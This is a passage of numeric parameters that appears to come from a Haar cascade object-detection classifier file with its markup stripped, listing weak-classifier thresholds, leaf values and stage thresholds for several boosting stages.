6.7500001750886440e-03 + + -4.5967999845743179e-02 7.2094500064849854e-01 + <_> + + 0 -1 636 -1.5983000397682190e-02 + + -9.0357202291488647e-01 4.4987998902797699e-02 + <_> + + 0 -1 637 1.3088000006973743e-02 + + 3.5297098755836487e-01 -3.7710601091384888e-01 + <_> + + 0 -1 638 1.3061000034213066e-02 + + -1.9583599269390106e-01 1.1198940277099609e+00 + <_> + + 0 -1 639 -3.9907000958919525e-02 + + -1.3998429775238037e+00 1.9145099818706512e-01 + <_> + + 0 -1 640 1.5026999637484550e-02 + + 2.3600000422447920e-03 -1.1611249446868896e+00 + <_> + + 0 -1 641 -2.0517999306321144e-02 + + -4.8908099532127380e-01 1.6743400692939758e-01 + <_> + + 0 -1 642 -2.2359000518918037e-02 + + -1.2202980518341064e+00 -1.1975999921560287e-02 + <_> + + 0 -1 643 -7.9150004312396049e-03 + + 3.7228098511695862e-01 -8.5063003003597260e-02 + <_> + + 0 -1 644 1.5258000232279301e-02 + + -2.9412600398063660e-01 5.9406399726867676e-01 + <_> + + 0 -1 645 -3.1665999442338943e-02 + + -1.4395569562911987e+00 1.3578799366950989e-01 + <_> + + 0 -1 646 -3.0773999169468880e-02 + + -2.2545371055603027e+00 -3.3971000462770462e-02 + <_> + + 0 -1 647 -1.5483000315725803e-02 + + 3.7700700759887695e-01 1.5847999602556229e-02 + <_> + + 0 -1 648 3.5167001187801361e-02 + + -2.9446101188659668e-01 5.3159099817276001e-01 + <_> + + 0 -1 649 -1.7906000837683678e-02 + + -9.9788200855255127e-01 1.6235999763011932e-01 + <_> + + 0 -1 650 -3.1799999997019768e-03 + + 4.7657001763582230e-02 -7.5249898433685303e-01 + <_> + + 0 -1 651 1.5720000490546227e-02 + + 1.4873799681663513e-01 -6.5375399589538574e-01 + <_> + + 0 -1 652 2.9864000156521797e-02 + + -1.4952000230550766e-02 -1.2275190353393555e+00 + <_> + + 0 -1 653 2.9899999499320984e-03 + + -1.4263699948787689e-01 4.3272799253463745e-01 + <_> + + 0 -1 654 8.4749996662139893e-02 + + -1.9280999898910522e-02 -1.1946409940719604e+00 + <_> + + 0 -1 655 -5.8724999427795410e-02 + + -1.7328219413757324e+00 1.4374700188636780e-01 + <_> + + 0 -1 656 4.4755998998880386e-02 + + -2.4140599370002747e-01 5.4019999504089355e-01 + <_> + + 0 -1 657 4.0369000285863876e-02 + + 5.7680001482367516e-03 5.6578099727630615e-01 + <_> + + 0 -1 658 3.7735998630523682e-02 + + 3.8180999457836151e-02 -7.9370397329330444e-01 + <_> + + 0 -1 659 6.0752999037504196e-02 + + 7.6453000307083130e-02 1.4813209772109985e+00 + <_> + + 0 -1 660 -1.9832000136375427e-02 + + -1.6971720457077026e+00 -2.7370000258088112e-02 + <_> + + 0 -1 661 -1.6592699289321899e-01 + + 6.2976002693176270e-01 3.1762998551130295e-02 + <_> + + 0 -1 662 6.9014996290206909e-02 + + -3.3463200926780701e-01 3.0076700448989868e-01 + <_> + + 0 -1 663 1.1358000338077545e-02 + + 2.2741499543190002e-01 -3.8224700093269348e-01 + <_> + + 0 -1 664 1.7000000225380063e-03 + + 1.9223800301551819e-01 -5.2735102176666260e-01 + <_> + + 0 -1 665 7.9769000411033630e-02 + + 9.1491997241973877e-02 2.1049048900604248e+00 + <_> + + 0 -1 666 -5.7144001126289368e-02 + + -1.7452130317687988e+00 -4.0910001844167709e-02 + <_> + + 0 -1 667 7.3830001056194305e-03 + + -2.4214799702167511e-01 3.5577800869941711e-01 + <_> + + 0 -1 668 -1.8040999770164490e-02 + + 1.1779999732971191e+00 -1.7676700651645660e-01 + <_> + + 0 -1 669 9.4503000378608704e-02 + + 1.3936099410057068e-01 -1.2993700504302979e+00 + <_> + + 0 -1 670 5.4210000671446323e-03 + + -5.4608601331710815e-01 1.3916400074958801e-01 + <_> + + 0 -1 671 7.0290002040565014e-03 + + -2.1597200632095337e-01 3.9258098602294922e-01 + <_> + + 0 -1 672 3.4515999257564545e-02 + + 6.3188999891281128e-02 -7.2108101844787598e-01 + <_> + + 0 -1 673 -5.1924999803304672e-02 + + 6.8667602539062500e-01 6.3272997736930847e-02 + <_> + + 0 -1 674 -6.9162003695964813e-02 + + 1.7411810159683228e+00 -1.6619299352169037e-01 + <_> + + 0 -1 675 -5.5229999125003815e-03 + + 3.0694699287414551e-01 -1.6662900149822235e-01 + <_> + + 0 -1 676 6.8599998950958252e-02 + + -2.1405400335788727e-01 7.3185002803802490e-01 + <_> + + 0 -1 677 -6.7038998007774353e-02 + + -7.9360598325729370e-01 2.0525799691677094e-01 + <_> + + 0 -1 678 -2.1005000919103622e-02 + + 3.7344399094581604e-01 -2.9618600010871887e-01 + <_> + + 0 -1 679 2.0278999581933022e-02 + + -1.5200000256299973e-02 4.0555301308631897e-01 + <_> + + 0 -1 680 -4.7107998281717300e-02 + + 1.2116849422454834e+00 -1.7464299499988556e-01 + <_> + + 0 -1 681 1.8768499791622162e-01 + + -2.2909000515937805e-02 6.9645798206329346e-01 + <_> + + 0 -1 682 -4.3228998780250549e-02 + + -1.0602480173110962e+00 -5.5599998449906707e-04 + <_> + + 0 -1 683 2.0004000514745712e-02 + + -3.2751001417636871e-02 5.3805100917816162e-01 + <_> + + 0 -1 684 8.0880001187324524e-03 + + 3.7548001855611801e-02 -7.4768900871276855e-01 + <_> + + 0 -1 685 2.7101000770926476e-02 + + -8.1790000200271606e-02 3.3387100696563721e-01 + <_> + + 0 -1 686 -9.1746002435684204e-02 + + -1.9213509559631348e+00 -3.8952998816967010e-02 + <_> + + 0 -1 687 -1.2454999610781670e-02 + + 4.8360601067543030e-01 1.8168000504374504e-02 + <_> + + 0 -1 688 1.4649000018835068e-02 + + -1.9906699657440186e-01 7.2815400362014771e-01 + <_> + + 0 -1 689 2.9101999476552010e-02 + + 1.9871099293231964e-01 -4.9216800928115845e-01 + <_> + + 0 -1 690 8.7799998000264168e-03 + + -1.9499599933624268e-01 7.7317398786544800e-01 + <_> + + 0 -1 691 -5.4740000516176224e-02 + + 1.8087190389633179e+00 6.8323001265525818e-02 + <_> + + 0 -1 692 -1.4798000454902649e-02 + + 7.8064900636672974e-01 -1.8709599971771240e-01 + <_> + + 0 -1 693 2.5012999773025513e-02 + + 1.5285299718379974e-01 -1.6021020412445068e+00 + <_> + + 0 -1 694 4.6548001468181610e-02 + + -1.6738200187683105e-01 1.1902060508728027e+00 + <_> + + 0 -1 695 1.7624000087380409e-02 + + -1.0285499691963196e-01 3.9175900816917419e-01 + <_> + + 0 -1 696 1.6319599747657776e-01 + + -3.5624001175165176e-02 -1.6098170280456543e+00 + <_> + + 0 -1 697 1.3137999922037125e-02 + + -5.6359000504016876e-02 5.4158902168273926e-01 + <_> + + 0 -1 698 -1.5665000304579735e-02 + + 2.8063100576400757e-01 -3.1708601117134094e-01 + <_> + + 0 -1 699 8.0554001033306122e-02 + + 1.2640400230884552e-01 -1.0297529697418213e+00 + <_> + + 0 -1 700 3.5363998264074326e-02 + + 2.0752999931573868e-02 -7.9105597734451294e-01 + <_> + + 0 -1 701 3.2986998558044434e-02 + + 1.9057099521160126e-01 -8.3839899301528931e-01 + <_> + + 0 -1 702 1.2195000424981117e-02 + + 7.3729000985622406e-02 -6.2780702114105225e-01 + <_> + + 0 -1 703 4.3065998703241348e-02 + + 4.7384999692440033e-02 1.5712939500808716e+00 + <_> + + 0 -1 704 3.0326999723911285e-02 + + -2.7314600348472595e-01 3.8572001457214355e-01 + <_> + + 0 -1 705 3.5493001341819763e-02 + + 5.4593998938798904e-02 5.2583402395248413e-01 + <_> + + 0 -1 706 -1.4596999622881413e-02 + + 3.8152599334716797e-01 -2.8332400321960449e-01 + <_> + + 0 -1 707 1.2606999836862087e-02 + + 1.5455099940299988e-01 -3.0501499772071838e-01 + <_> + + 0 -1 708 1.0172000154852867e-02 + + 2.3637000471353531e-02 -8.7217897176742554e-01 + <_> + + 0 -1 709 2.8843000531196594e-02 + + 1.6090999543666840e-01 -2.0277599990367889e-01 + <_> + + 0 -1 710 5.5100000463426113e-04 + + -6.1545401811599731e-01 8.0935999751091003e-02 + <_> + 127 + -3.5645289421081543e+00 + + <_> + + 0 -1 711 4.8344001173973083e-02 + + -8.4904599189758301e-01 5.6974399089813232e-01 + <_> + + 0 -1 712 3.2460000365972519e-02 + + -8.1417298316955566e-01 4.4781699776649475e-01 + <_> + + 0 -1 713 3.3339999616146088e-02 + + -3.6423799395561218e-01 6.7937397956848145e-01 + <_> + + 0 -1 714 6.4019998535513878e-03 + + -1.1885459423065186e+00 1.9238699972629547e-01 + <_> + + 0 -1 715 -5.6889997795224190e-03 + + 3.3085298538208008e-01 -7.1334099769592285e-01 + <_> + + 0 -1 716 1.2698000296950340e-02 + + -5.0990802049636841e-01 1.1376299709081650e-01 + <_> + + 0 -1 717 6.0549997724592686e-03 + + -1.0470550060272217e+00 2.0222599804401398e-01 + <_> + + 0 -1 718 2.6420000940561295e-03 + + -5.0559401512145996e-01 3.6441200971603394e-01 + <_> + + 0 -1 719 -1.6925999894738197e-02 + + -9.9541902542114258e-01 1.2602199614048004e-01 + <_> + + 0 -1 720 2.8235999867320061e-02 + + -9.4137996435165405e-02 5.7780402898788452e-01 + <_> + + 0 -1 721 1.0428999550640583e-02 + + 2.3272900283336639e-01 -5.2569699287414551e-01 + <_> + + 0 -1 722 9.8860003054141998e-03 + + -1.0316299647092819e-01 4.7657600045204163e-01 + <_> + + 0 -1 723 2.6015000417828560e-02 + + -1.0920000495389104e-03 -1.5581729412078857e+00 + <_> + + 0 -1 724 -2.5537999346852303e-02 + + -6.5451401472091675e-01 1.8843199312686920e-01 + <_> + + 0 -1 725 -3.5310001112520695e-03 + + 2.8140598535537720e-01 -4.4575300812721252e-01 + <_> + + 0 -1 726 9.2449998483061790e-03 + + 1.5612000226974487e-01 -2.1370999515056610e-01 + <_> + + 0 -1 727 2.1030999720096588e-02 + + -2.9170298576354980e-01 5.2234101295471191e-01 + <_> + + 0 -1 728 -5.1063001155853271e-02 + + 1.3661290407180786e+00 3.0465999618172646e-02 + <_> + + 0 -1 729 -6.2330000102519989e-02 + + 1.2207020521163940e+00 -2.2434400022029877e-01 + <_> + + 0 -1 730 -3.2963000237941742e-02 + + -8.2016801834106445e-01 1.4531899988651276e-01 + <_> + + 0 -1 731 -3.7418000400066376e-02 + + -1.2218099832534790e+00 1.9448999315500259e-02 + <_> + + 0 -1 732 1.2402799725532532e-01 + + 1.2082300335168839e-01 -9.8729300498962402e-01 + <_> + + 0 -1 733 -8.9229997247457504e-03 + + -1.1688489913940430e+00 2.1105000749230385e-02 + <_> + + 0 -1 734 -5.9879999607801437e-02 + + -1.0689330101013184e+00 1.9860200583934784e-01 + <_> + + 0 -1 735 6.2620001845061779e-03 + + -3.6229598522186279e-01 3.8000801205635071e-01 + <_> + + 0 -1 736 -1.7673000693321228e-02 + + 4.9094098806381226e-01 -1.4606699347496033e-01 + <_> + + 0 -1 737 1.7579000443220139e-02 + + 5.8728098869323730e-01 -2.7774399518966675e-01 + <_> + + 0 -1 738 5.1560001447796822e-03 + + -7.5194999575614929e-02 6.0193097591400146e-01 + <_> + + 0 -1 739 -1.0599999688565731e-02 + + 2.7637401223182678e-01 -3.7794300913810730e-01 + <_> + + 0 -1 740 2.0884099602699280e-01 + + -5.3599998354911804e-03 1.0317809581756592e+00 + <_> + + 0 -1 741 -2.6412999257445335e-02 + + 8.2336401939392090e-01 -2.2480599582195282e-01 + <_> + + 0 -1 742 5.8892000466585159e-02 + + 1.3098299503326416e-01 -1.1853699684143066e+00 + <_> + + 0 -1 743 -1.1579000391066074e-02 + + -9.0667802095413208e-01 4.4126998633146286e-02 + <_> + + 0 -1 744 4.5988000929355621e-02 + + 1.0143999941647053e-02 1.0740900039672852e+00 + <_> + + 0 -1 745 -2.2838000208139420e-02 + + 1.7791990041732788e+00 -1.7315499484539032e-01 + <_> + + 0 -1 746 -8.1709995865821838e-03 + + 5.7386302947998047e-01 -7.4106000363826752e-02 + <_> + + 0 -1 747 3.5359999164938927e-03 + + -3.2072898745536804e-01 4.0182501077651978e-01 + <_> + + 0 -1 748 4.9444999545812607e-02 + + 1.9288000464439392e-01 -1.2166700363159180e+00 + <_> + + 0 -1 749 3.5139999818056822e-03 + + 6.9568000733852386e-02 -7.1323698759078979e-01 + <_> + + 0 -1 750 -3.0996000394225121e-02 + + -3.8862198591232300e-01 1.8098799884319305e-01 + <_> + + 0 -1 751 8.6452998220920563e-02 + + -2.5792999193072319e-02 -1.5453219413757324e+00 + <_> + + 0 -1 752 -1.3652600347995758e-01 + + -1.9199420213699341e+00 1.6613300144672394e-01 + <_> + + 0 -1 753 -5.7689999230206013e-03 + + -1.2822589874267578e+00 -1.5907999128103256e-02 + <_> + + 0 -1 754 -1.7899999395012856e-02 + + -4.0409898757934570e-01 2.3591600358486176e-01 + <_> + + 0 -1 755 -1.9969999790191650e-02 + + -7.2891902923583984e-01 5.6235000491142273e-02 + <_> + + 0 -1 756 -5.7493001222610474e-02 + + 5.7830798625946045e-01 -1.5796000137925148e-02 + <_> + + 0 -1 757 -8.3056002855300903e-02 + + 9.1511601209640503e-01 -2.1121400594711304e-01 + <_> + + 0 -1 758 -5.3771000355482101e-02 + + -5.1931297779083252e-01 1.8576000630855560e-01 + <_> + + 0 -1 759 -8.3670001477003098e-03 + + 2.4109700322151184e-01 -3.9648601412773132e-01 + <_> + + 0 -1 760 5.5406998842954636e-02 + + 1.6771200299263000e-01 -2.5664970874786377e+00 + <_> + + 0 -1 761 -6.7180998623371124e-02 + + -1.3658570051193237e+00 -1.4232000336050987e-02 + <_> + + 0 -1 762 -2.3900000378489494e-02 + + -1.7084569931030273e+00 1.6507799923419952e-01 + <_> + + 0 -1 763 5.5949999950826168e-03 + + -3.1373998522758484e-01 3.2837900519371033e-01 + <_> + + 0 -1 764 2.1294999867677689e-02 + + 1.4953400194644928e-01 -4.8579800128936768e-01 + <_> + + 0 -1 765 -2.4613000452518463e-02 + + 7.4346399307250977e-01 -2.2305199503898621e-01 + <_> + + 0 -1 766 -1.9626000896096230e-02 + + -4.0918299555778503e-01 1.8893200159072876e-01 + <_> + + 0 -1 767 -5.3266000002622604e-02 + + 8.1381601095199585e-01 -2.0853699743747711e-01 + <_> + + 0 -1 768 7.1290000341832638e-03 + + 3.2996100187301636e-01 -5.9937399625778198e-01 + <_> + + 0 -1 769 -2.2486999630928040e-02 + + -1.2551610469818115e+00 -2.0413000136613846e-02 + <_> + + 0 -1 770 -8.2310996949672699e-02 + + 1.3821430206298828e+00 5.9308998286724091e-02 + <_> + + 0 -1 771 1.3097000122070312e-01 + + -3.5843998193740845e-02 -1.5396369695663452e+00 + <_> + + 0 -1 772 1.4293000102043152e-02 + + -1.8475200235843658e-01 3.7455001473426819e-01 + <_> + + 0 -1 773 6.3479999080300331e-03 + + -4.4901099801063538e-01 1.3876999914646149e-01 + <_> + + 0 -1 774 -4.6055000275373459e-02 + + 6.7832601070404053e-01 -1.7071999609470367e-02 + <_> + + 0 -1 775 5.7693999260663986e-02 + + -1.1955999769270420e-02 -1.2261159420013428e+00 + <_> + + 0 -1 776 -6.0609998181462288e-03 + + 3.3958598971366882e-01 6.2800000887364149e-04 + <_> + + 0 -1 777 -5.2163001149892807e-02 + + -1.0621069669723511e+00 -1.3779999688267708e-02 + <_> + + 0 -1 778 4.6572998166084290e-02 + + 1.4538800716400146e-01 -1.2384550571441650e+00 + <_> + + 0 -1 779 7.5309998355805874e-03 + + -2.4467700719833374e-01 5.1377099752426147e-01 + <_> + + 0 -1 780 2.1615000441670418e-02 + + 1.3072599470615387e-01 -7.0996797084808350e-01 + <_> + + 0 -1 781 -1.7864000052213669e-02 + + -1.0474660396575928e+00 4.9599999329075217e-04 + <_> + + 0 -1 782 -3.7195000797510147e-02 + + -1.5126730203628540e+00 1.4801399409770966e-01 + <_> + + 0 -1 783 -3.1100001069717109e-04 + + 1.3971500098705292e-01 -4.6867498755455017e-01 + <_> + + 0 -1 784 2.5042999535799026e-02 + + 2.8632000088691711e-01 -4.1794699430465698e-01 + <_> + + 0 -1 785 9.3449996784329414e-03 + + -2.7336201071739197e-01 4.3444699048995972e-01 + <_> + + 0 -1 786 3.2363999634981155e-02 + + 1.8438899517059326e-01 -9.5019298791885376e-01 + <_> + + 0 -1 787 -6.2299999408423901e-03 + + 3.2581999897956848e-01 -3.0815601348876953e-01 + <_> + + 0 -1 788 5.1488999277353287e-02 + + 1.1416000127792358e-01 -1.9795479774475098e+00 + <_> + + 0 -1 789 -2.6449000462889671e-02 + + -1.1067299842834473e+00 -8.5519999265670776e-03 + <_> + + 0 -1 790 -1.5420000068843365e-02 + + 8.0138701200485229e-01 -3.2035000622272491e-02 + <_> + + 0 -1 791 1.9456999376416206e-02 + + -2.6449498534202576e-01 3.8753899931907654e-01 + <_> + + 0 -1 792 3.3620998263359070e-02 + + 1.6052000224590302e-02 5.8840900659561157e-01 + <_> + + 0 -1 793 2.8906000778079033e-02 + + 1.5216000378131866e-02 -9.4723600149154663e-01 + <_> + + 0 -1 794 2.0300000323913991e-04 + + -3.0766001343727112e-01 2.1235899627208710e-01 + <_> + + 0 -1 795 -4.9141999334096909e-02 + + -1.6058609485626221e+00 -3.1094999983906746e-02 + <_> + + 0 -1 796 7.6425999402999878e-02 + + 7.4758999049663544e-02 1.1639410257339478e+00 + <_> + + 0 -1 797 2.3897999897599220e-02 + + -6.4320000819861889e-03 -1.1150749921798706e+00 + <_> + + 0 -1 798 3.8970001041889191e-03 + + -2.4105699360370636e-01 2.0858900249004364e-01 + <_> + + 0 -1 799 -8.9445002377033234e-02 + + 1.9157789945602417e+00 -1.5721100568771362e-01 + <_> + + 0 -1 800 -1.5008999966084957e-02 + + -2.5174099206924438e-01 1.8179899454116821e-01 + <_> + + 0 -1 801 -1.1145999655127525e-02 + + -6.9349497556686401e-01 4.4927999377250671e-02 + <_> + + 0 -1 802 9.4578996300697327e-02 + + 1.8102100491523743e-01 -7.4978601932525635e-01 + <_> + + 0 -1 803 5.5038899183273315e-01 + + -3.0974000692367554e-02 -1.6746139526367188e+00 + <_> + + 0 -1 804 4.1381001472473145e-02 + + 6.3910000026226044e-02 7.6561200618743896e-01 + <_> + + 0 -1 805 2.4771999567747116e-02 + + 1.1380000039935112e-02 -8.8559401035308838e-01 + <_> + + 0 -1 806 5.0999000668525696e-02 + + 1.4890299737453461e-01 -2.4634211063385010e+00 + <_> + + 0 -1 807 -1.6893999651074409e-02 + + 3.8870999217033386e-01 -2.9880300164222717e-01 + <_> + + 0 -1 808 -1.2162300199270248e-01 + + -1.5542800426483154e+00 1.6300800442695618e-01 + <_> + + 0 -1 809 -3.6049999762326479e-03 + + 2.1842800080776215e-01 -3.7312099337577820e-01 + <_> + + 0 -1 810 1.1575400084257126e-01 + + -4.7061000019311905e-02 5.9403699636459351e-01 + <_> + + 0 -1 811 3.6903999745845795e-02 + + -2.5508600473403931e-01 5.5397301912307739e-01 + <_> + + 0 -1 812 1.1483999900519848e-02 + + -1.8129499256610870e-01 4.0682798624038696e-01 + <_> + + 0 -1 813 -2.0233999937772751e-02 + + 5.4311197996139526e-01 -2.3822399973869324e-01 + <_> + + 0 -1 814 -2.8765000402927399e-02 + + -6.9172298908233643e-01 1.5943300724029541e-01 + <_> + + 0 -1 815 -5.8320001699030399e-03 + + 2.9447799921035767e-01 -3.4005999565124512e-01 + <_> + + 0 -1 816 -5.5468998849391937e-02 + + 9.2200797796249390e-01 9.4093002378940582e-02 + <_> + + 0 -1 817 -1.4801000244915485e-02 + + -7.9539698362350464e-01 3.1521998345851898e-02 + <_> + + 0 -1 818 -7.0940000005066395e-03 + + 3.3096000552177429e-01 -5.0886999815702438e-02 + <_> + + 0 -1 819 -4.5124001801013947e-02 + + -1.3719749450683594e+00 -2.1408999338746071e-02 + <_> + + 0 -1 820 6.4377002418041229e-02 + + 6.3901998102664948e-02 9.1478300094604492e-01 + <_> + + 0 -1 821 -1.4727000147104263e-02 + + 3.6050599813461304e-01 -2.8614500164985657e-01 + <_> + + 0 -1 822 4.5007001608610153e-02 + + -1.5619699656963348e-01 5.3160297870635986e-01 + <_> + + 0 -1 823 -1.1330000124871731e-03 + + 1.3422900438308716e-01 -4.4358900189399719e-01 + <_> + + 0 -1 824 4.9451000988483429e-02 + + 1.0571800172328949e-01 -2.5589139461517334e+00 + <_> + + 0 -1 825 2.9102999716997147e-02 + + -1.0088000446557999e-02 -1.1073939800262451e+00 + <_> + + 0 -1 826 3.4786000847816467e-02 + + -2.7719999197870493e-03 5.6700998544692993e-01 + <_> + + 0 -1 827 -6.1309998854994774e-03 + + -4.6889400482177734e-01 1.2636399269104004e-01 + <_> + + 0 -1 828 1.5525000169873238e-02 + + -8.4279999136924744e-03 8.7469202280044556e-01 + <_> + + 0 -1 829 2.9249999206513166e-03 + + -3.4434300661087036e-01 2.0851600170135498e-01 + <_> + + 0 -1 830 -5.3571000695228577e-02 + + 1.4982949495315552e+00 5.7328000664710999e-02 + <_> + + 0 -1 831 -1.9217999652028084e-02 + + -9.9234098196029663e-01 -9.3919998034834862e-03 + <_> + + 0 -1 832 -5.5282998830080032e-02 + + -5.7682299613952637e-01 1.6860599815845490e-01 + <_> + + 0 -1 833 5.6336000561714172e-02 + + -3.3775001764297485e-02 -1.3889650106430054e+00 + <_> + + 0 -1 834 -2.3824000731110573e-02 + + 4.0182098746299744e-01 1.8360000103712082e-03 + <_> + + 0 -1 835 1.7810000572353601e-03 + + 1.8145999312400818e-01 -4.1743400692939758e-01 + <_> + + 0 -1 836 -3.7689000368118286e-02 + + 5.4683101177215576e-01 1.8219999969005585e-02 + <_> + + 0 -1 837 -2.4144999682903290e-02 + + 6.8352097272872925e-01 -1.9650200009346008e-01 + <_> + 135 + -3.7025990486145020e+00 + + <_> + + 0 -1 838 2.7444999665021896e-02 + + -8.9984202384948730e-01 5.1876497268676758e-01 + <_> + + 0 -1 839 1.1554100364446640e-01 + + -5.6524401903152466e-01 7.0551300048828125e-01 + <_> + + 0 -1 840 -2.2297000512480736e-02 + + 3.6079999804496765e-01 -6.6864597797393799e-01 + <_> + + 0 -1 841 1.3325000181794167e-02 + + -5.5573397874832153e-01 3.5789999365806580e-01 + <_> + + 0 -1 842 -3.8060001097619534e-03 + + -1.0713000297546387e+00 1.8850000202655792e-01 + <_> + + 0 -1 843 -2.6819999329745770e-03 + + -7.1584302186965942e-01 2.6344498991966248e-01 + <_> + + 0 -1 844 3.3819999080151320e-03 + + -4.6930798888206482e-01 2.6658400893211365e-01 + <_> + + 0 -1 845 3.7643000483512878e-02 + + 2.1098700165748596e-01 -1.0804339647293091e+00 + <_> + + 0 -1 846 -1.3861999846994877e-02 + + 6.6912001371383667e-01 -2.7942800521850586e-01 + <_> + + 0 -1 847 -2.7350001037120819e-03 + + -9.5332300662994385e-01 2.4051299691200256e-01 + <_> + + 0 -1 848 -3.8336999714374542e-02 + + 8.1432801485061646e-01 -2.4919399619102478e-01 + <_> + + 0 -1 849 -3.4697998315095901e-02 + + 1.2330100536346436e+00 6.8600000813603401e-03 + <_> + + 0 -1 850 2.3360999301075935e-02 + + -3.0794700980186462e-01 7.0714497566223145e-01 + <_> + + 0 -1 851 3.5057999193668365e-02 + + 2.1205900609493256e-01 -1.4399830102920532e+00 + <_> + + 0 -1 852 -1.3256999664008617e-02 + + -9.0260702371597290e-01 4.8610001802444458e-02 + <_> + + 0 -1 853 1.2740000151097775e-02 + + 2.2655199468135834e-01 -4.4643801450729370e-01 + <_> + + 0 -1 854 3.6400000099092722e-03 + + -3.9817899465560913e-01 3.4665399789810181e-01 + <_> + + 0 -1 855 1.0064700245857239e-01 + + 1.8383599817752838e-01 -1.3410769701004028e+00 + <_> + + 0 -1 856 0. + + 1.5536400675773621e-01 -5.1582497358322144e-01 + <_> + + 0 -1 857 1.1708999983966351e-02 + + 2.1651400625705719e-01 -7.2705197334289551e-01 + <_> + + 0 -1 858 -3.5964999347925186e-02 + + -1.4789500236511230e+00 -2.4317000061273575e-02 + <_> + + 0 -1 859 -2.1236000582575798e-02 + + -1.6844099760055542e-01 1.9526599347591400e-01 + <_> + + 0 -1 860 1.4874000102281570e-02 + + 3.7335999310016632e-02 -8.7557297945022583e-01 + <_> + + 0 -1 861 -5.1409997977316380e-03 + + 3.3466500043869019e-01 -2.4109700322151184e-01 + <_> + + 0 -1 862 2.3450000211596489e-02 + + 5.5320002138614655e-03 -1.2509720325469971e+00 + <_> + + 0 -1 863 -2.5062000378966331e-02 + + 4.5212399959564209e-01 -8.4469996392726898e-02 + <_> + + 0 -1 864 -7.7400001464411616e-04 + + 1.5249900519847870e-01 -4.8486500978469849e-01 + <_> + + 0 -1 865 -4.0483999997377396e-02 + + -1.3024920225143433e+00 1.7983500659465790e-01 + <_> + + 0 -1 866 2.8170999139547348e-02 + + -2.4410900473594666e-01 6.2271100282669067e-01 + <_> + + 0 -1 867 4.5692998915910721e-02 + + 2.8122000396251678e-02 9.2394399642944336e-01 + <_> + + 0 -1 868 3.9707001298666000e-02 + + -2.2332799434661865e-01 7.7674001455307007e-01 + <_> + + 0 -1 869 5.0517000257968903e-02 + + 2.0319999754428864e-01 -1.0895930528640747e+00 + <_> + + 0 -1 870 -1.7266999930143356e-02 + + 6.8598401546478271e-01 -2.3304499685764313e-01 + <_> + + 0 -1 871 8.0186001956462860e-02 + + -1.0292000137269497e-02 6.1881101131439209e-01 + <_> + + 0 -1 872 9.7676001489162445e-02 + + -2.0070299506187439e-01 1.0088349580764771e+00 + <_> + + 0 -1 873 -1.5572000294923782e-02 + + 4.7615298628807068e-01 4.5623999089002609e-02 + <_> + + 0 -1 874 -1.5305000357329845e-02 + + -1.1077369451522827e+00 4.5239999890327454e-03 + <_> + + 0 -1 875 -1.6485000029206276e-02 + + 1.0152939558029175e+00 1.6327999532222748e-02 + <_> + + 0 -1 876 -2.6141999289393425e-02 + + 4.1723299026489258e-01 -2.8645500540733337e-01 + <_> + + 0 -1 877 8.8679995387792587e-03 + + 2.1404999494552612e-01 -1.6772800683975220e-01 + <_> + + 0 -1 878 -2.6886999607086182e-02 + + -1.1564220190048218e+00 -1.0324000380933285e-02 + <_> + + 0 -1 879 7.7789998613297939e-03 + + 3.5359498858451843e-01 -2.9611301422119141e-01 + <_> + + 0 -1 880 -1.5974000096321106e-02 + + -1.5374109745025635e+00 -2.9958000406622887e-02 + <_> + + 0 -1 881 2.0866999402642250e-02 + + 2.0244100689888000e-01 -7.1270197629928589e-01 + <_> + + 0 -1 882 8.5482001304626465e-02 + + -2.5932999327778816e-02 -1.5156569480895996e+00 + <_> + + 0 -1 883 2.3872999474406242e-02 + + 1.6803400218486786e-01 -3.8806200027465820e-01 + <_> + + 0 -1 884 -3.9105001837015152e-02 + + -1.1958349943161011e+00 -2.0361000671982765e-02 + <_> + + 0 -1 885 -7.7946998178958893e-02 + + -1.0898950099945068e+00 1.4530299603939056e-01 + <_> + + 0 -1 886 -1.6876000910997391e-02 + + 2.8049701452255249e-01 -4.1336300969123840e-01 + <_> + + 0 -1 887 1.1875600367784500e-01 + + -4.3490998446941376e-02 4.1263699531555176e-01 + <_> + + 0 -1 888 1.5624199807643890e-01 + + -2.6429599523544312e-01 5.5127799510955811e-01 + <_> + + 0 -1 889 -4.5908000320196152e-02 + + 6.0189199447631836e-01 1.8921000882983208e-02 + <_> + + 0 -1 890 -1.0309999808669090e-02 + + 3.8152998685836792e-01 -2.9507899284362793e-01 + <_> + + 0 -1 891 9.5769003033638000e-02 + + 1.3246500492095947e-01 -4.6266800165176392e-01 + <_> + + 0 -1 892 1.3686999678611755e-02 + + 1.1738699674606323e-01 -5.1664102077484131e-01 + <_> + + 0 -1 893 2.3990001063793898e-03 + + -3.4007599949836731e-01 2.0953500270843506e-01 + <_> + + 0 -1 894 3.3264998346567154e-02 + + -1.7052799463272095e-01 1.4366799592971802e+00 + <_> + + 0 -1 895 -3.3206000924110413e-02 + + 6.1295700073242188e-01 -4.1549999266862869e-02 + <_> + + 0 -1 896 2.7979998849332333e-03 + + -4.8554301261901855e-01 1.3372699916362762e-01 + <_> + + 0 -1 897 -6.5792001783847809e-02 + + -4.0257668495178223e+00 1.0876700282096863e-01 + <_> + + 0 -1 898 2.1430000197142363e-03 + + -3.9179998636245728e-01 2.2427099943161011e-01 + <_> + + 0 -1 899 2.2363999858498573e-02 + + -8.6429998278617859e-02 3.7785199284553528e-01 + <_> + + 0 -1 900 -5.7410001754760742e-02 + + 1.1454069614410400e+00 -1.9736599922180176e-01 + <_> + + 0 -1 901 6.6550001502037048e-03 + + -2.1105000749230385e-02 5.8453398942947388e-01 + <_> + + 0 -1 902 1.2326999567449093e-02 + + 3.7817001342773438e-02 -6.6987001895904541e-01 + <_> + + 0 -1 903 -8.1869997084140778e-03 + + 5.6366002559661865e-01 -7.6877996325492859e-02 + <_> + + 0 -1 904 3.6681000143289566e-02 + + -1.7343300580978394e-01 1.1670149564743042e+00 + <_> + + 0 -1 905 -4.0220400691032410e-01 + + 1.2640819549560547e+00 4.3398998677730560e-02 + <_> + + 0 -1 906 -2.2126000374555588e-02 + + 6.6978102922439575e-01 -2.1605299413204193e-01 + <_> + + 0 -1 907 -1.3156999833881855e-02 + + -4.1198599338531494e-01 2.0215000212192535e-01 + <_> + + 0 -1 908 -1.2860000133514404e-02 + + -9.1582697629928589e-01 3.9232999086380005e-02 + <_> + + 0 -1 909 2.1627999842166901e-02 + + 3.8719999138265848e-03 3.5668200254440308e-01 + <_> + + 0 -1 910 1.1896000243723392e-02 + + -3.7303900718688965e-01 1.9235099852085114e-01 + <_> + + 0 -1 911 -1.9548999145627022e-02 + + -4.2374899983406067e-01 2.4429599940776825e-01 + <_> + + 0 -1 912 6.4444996416568756e-02 + + 